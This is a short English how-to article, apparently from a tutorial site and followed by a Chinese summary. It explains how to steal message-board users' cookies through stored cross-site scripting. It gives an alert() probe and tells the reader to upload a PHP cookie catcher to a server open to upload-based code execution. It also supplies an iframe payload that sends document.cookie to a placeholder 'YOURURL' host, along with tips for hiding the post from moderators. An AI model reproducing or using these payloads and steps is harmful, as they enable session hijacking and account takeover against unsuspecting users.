Article in English: A message board is a good example. Remember, if the site is not vulnerable to a cross-site scripting attack, then this will not work. You will need to type some special code into the "post" which will capture the data of all who click on it. You'll want to test to see if the system filters out code. Post <script>window.alert("test")</script>If an alert box appears when you click on your post, then the site is vulnerable to attack. The goal of this attack is to capture a user's cookies, which allows you access to their account for websites with vulnerable logins. You'll need a cookie catcher, which will capture your target's cookies and reroute them. Upload the catcher to a website you have access to and that supports PHP and is vulnerable to remote code execution via upload. An example cookie catcher code can be found in the sample section. Input a proper code into the post which will capture the cookies and sent them to your site. You will want to put in some text after the code to reduce suspicion and keep your post from being deleted. An example code would look like <iframe frameborder="0" height="0" width="0" src="javascript...:void(document.location='YOURURL/cookiecatcher.php?c=' document.cookie)></iframe> After this, you can use the cookie information, which should be saved to your website, for whatever purpose you need.

Summary in Chinese:
找个安全性低的可以发帖的网站。 创建帖子。 创建并上传cookie捕捉器。 将帖子和cookie捕捉器一起发布出去。 使用抓取的cookies。